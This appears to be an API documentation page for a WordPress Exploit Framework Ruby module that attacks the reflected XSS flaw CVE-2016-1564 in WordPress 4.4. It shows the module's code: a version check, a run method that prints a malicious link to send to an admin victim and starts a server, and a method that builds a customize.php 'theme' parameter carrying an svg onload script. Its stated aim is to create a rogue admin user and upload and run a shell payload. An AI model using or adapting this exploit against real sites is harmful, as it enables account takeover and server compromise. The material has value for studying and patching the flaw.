class Wpxf::Exploit::Wp44XssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::Xss::new
# File lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb, line 7
def initialize
  super

  update_info(
    name: 'WordPress 4.4 Reflected XSS Shell Upload',
    desc: 'This module prepares a payload and link that can be sent to an '\
          'admin user which when visited with a valid session will create '\
          'a new admin user which will be used to upload and execute the '\
          'selected payload in the context of the web server.',
    author: [
      'Crtc4L',    # Discovery and disclosure
      'rastating'  # WPXF module
    ],
    references: [
      ['CVE', '2016-1564'],
      ['WPVDB', '8358'],
      ['URL', 'https://wordpress.org/news/2016/01/wordpress-4-4-1-security-and-maintenance-release/'],
      ['URL', 'https://github.com/WordPress/WordPress/commit/7ab65139c6838910426567849c7abed723932b87']
    ],
    date: 'Jan 06 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb, line 30
def check
  version = wordpress_version
  return :unknown if version.nil?
  return :vulnerable if version == Gem::Version.new('4.4')
  :safe
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb, line 42
def run
  return false unless super

  @success = false
  emit_info 'Provide the URL below to the victim to begin the payload upload'
  puts
  puts url_with_xss
  puts

  start_http_server
  @success
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb, line 37
def url_with_xss
  url = normalize_uri(wordpress_url_admin, 'customize.php')
  url + "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
end